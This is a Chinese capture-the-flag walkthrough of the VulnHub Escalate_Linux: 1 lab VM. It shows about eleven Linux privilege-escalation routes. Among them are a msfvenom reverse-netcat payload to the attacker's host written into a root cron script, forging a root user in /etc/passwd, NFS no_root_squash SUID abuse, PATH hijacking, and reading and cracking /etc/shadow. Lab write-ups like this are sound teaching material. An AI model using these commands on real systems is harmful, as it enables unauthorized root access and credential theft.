Skip to content

Latest commit

 

History

History
367 lines (187 loc) · 18.5 KB

VulnHub-Escalate_Linux: 1.md

File metadata and controls

367 lines (187 loc) · 18.5 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

大余安全  

一个每日分享渗透小技巧的公众号

大家好,这里是 大余安全 的第 44 篇文章,本公众号会每日分享攻防渗透技术给大家。

靶机地址:https://www.vulnhub.com/entry/escalate_linux-1,323/

靶机难度:初级(CTF)

靶机发布日期:2019 年 6 月 30 日

靶机描述:

Escalate_Linux - 一种有意开发的易受攻击的 Linux 虚拟机。该计算机的主要重点是学习 Linux Post Exploitation(特权升级)技术。

“Escalate_Linux” Linux 易受攻击的虚拟机包含与之不同的功能。

12 种以上特权升级方式

垂直特权升级

横向特权升级

多级特权升级

目标:得到 root 权限 & 找到 flag.txt

请注意:对于所有这些计算机,我已经使用 VMware 运行下载的计算机。我将使用 Kali Linux 作为解决该 CTF 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

看介绍说有 12 种左右的方法提权????

我们在 VM 中需要确定攻击目标的 IP 地址,需要使用 nmap 获取目标 IP 地址:

我们已经找到了此次 CTF 目标计算机 IP 地址:192.168.182.142

开放了挺多端口... 一个一个往下渗透吧...

默认的 apache 页面... 针对 apache,我直接爆破 php... 应该是存在的...

dirb http://192.168.182.142 -X .php

找到了 shell.php,进去看看...

可以执行 cmd 命令??试试

果然可以... 权限 user6... 这里有 3 种方法可以提权到 user6... 我直接最简单的了,看我前面章节也知道复现过很多这种场景...(当然有更多方法请老哥指导)

利用了 MSF 创建了反向 shell,然后将 shell 进行 URL 编码...

在 web 链接输入,即可提权...

进来后,更快的发现漏洞枚举用户... 我使用 LinEnum 工具... 上传它

到 tmp 目录成功上传了... 执行

可以看到存在八个用户......

在 crontab 中,每 5 分钟使用 root 特权运行 autoscript.sh 文件...

看到 / etc/passwd 对用户也是可写的,还发现可以使用 root 特权运行 shell 和脚本文件,在其上启用了 SUID 位...

通过 LinEnum 工具把应该能发现的漏洞都体现出来了... 这边开始提权...

python -c 'import pty;pty.spawn("/bin/bash")'

二、提权

方法 1

find / -perm -u=s -type f 2>/dev/null

user3 用户可执行 shell 提权...

使用 find 命令,可以确认,可以使用 root 特权执行位于 user3 主目录中的 shell 文件,成功提权 root...

方法 2

前面 LinEnum 工具发现可以使用 root 特权执行位于 user5 主目录中的脚本文件,使用 Path 变量利用方法,可以访问 / etc/shadow 文件...

学习关路径变量特权升级:

[链接](https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/)

可以看到我这边没成功... 该脚本执行的时候应该会以 root 身份执行,然后加载环境变量,执行 cat /etc/shadow 命令,这样的话我们就能够拿到 root 身份的密码值,然后使用 john 破解即可... 但是没成功,我检查下...

nmap 前面发现了 2049 端口 NFS 打开着,我通过 NFS 把 script 放到本地检查下...(NFS 前面章节也讲过)

不必看输入错的字符... 尴尬... 是 ELF 64-bit 这边用 GDB 分析下... 我需要在 64 位 kali 上分析...

分析了一圈... 发现二进制文件 script 是基于 ls 文件执行...

可以看到本身文件脚本不执行任何操作的...

只需要针对 ls 加载环境变量即可... 成功提权...

方法 3

在前面的截图中,有看到在 crontab 中,每 5 分钟使用 root 特权运行 autoscript.sh 文件...

借鉴方法 2,使用相同的脚本文件,可以借助 Path 变量方法更改所有用户的密码...

使用 echo 和 chpasswd 命令将现有密码替换为新密码 12345... 然后使用 su 命令切换到 user4 帐户...

在桌面文件夹中看到文件 autoscript.sh....

msfvenom  -p  cmd/unix/reverse_netcat lhost=192.168.182.141  lport=8888  R

echo "shellcode" > autoscript.sh

将代码复制到 autoscript.sh 文件后,执行该文件,并在 kali 上启动了 netcat 侦听器,等待 shell 即可...

成功获得 root...

方法 4

使用与上述相同的方法将所有用户的密码更改为 12345,并在用户之间切换来检查更多漏洞,发现 user8 对 vi 编辑器具有 sudo 权限...

准备使用 sudo 打开 vi 编辑器,并插入 sh 命令...

输入:!sh,获得了 root shell...

方法 5

继续进行用户枚举,发现 user7 是 gid 为 0 的根组的成员...

从 LinEnum 扫描中知道 / etc/passwd 文件对于用户是可写的,user7 可以编辑 / etc/passwd 文件...

openssl passwd -1 -salt ignite dayu

在 kali 机器中复制了 / etc/passwd 文件的内容,并创建了一个具有 root 特权的名为 dayu 的新用户,并使用 openssl 为该用户生成了密码...

使用 dayu 用户登录即可... 提权成功...

方法 6

前面也提过了 nmap 发现了 NFS 共享开放着

通过 LinEnum 工具也发现了安装点的存在...

/home/user5 *(rw,no_root_squash)

将 user5 通过 NFS 共享到本地...

创建一个 SUID,执行即可....

方法 7

从 LinEnum 扫描中知道 mysql 可以利用...

密码默认 root....

通过挖掘数据库发现了 mysql 用户,密码是

mysql@12345

在数据库中看到了 user1~8 用户的密码... 继续找下

在 secret 文件中查看到了 root 密码...

方法 8

提权成功....

方法 9

检查组权限时,发现在根组下找到 user4 和 user7... 意思是 user4 和 user7 可以修改 / etc/passwd 文件...

方法和方法 5 一样执行即可提权... 修改 passwd

方法 10

在 / home/user3 下,发现了 script.sh 文件... 和方法 1 一样提权即可.....

方法 11

收集 / etc/shadow 文件,并使用 john 中自带密码库进行爆破即可... 思路其实就是和方法 2 的思路一样...

这里差不多了... 方法 12 应该是 user1 直接提权... 有些方法比较直接...

由于我们已经成功得到 root 权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

大余安全

一个全栈渗透小技巧的公众号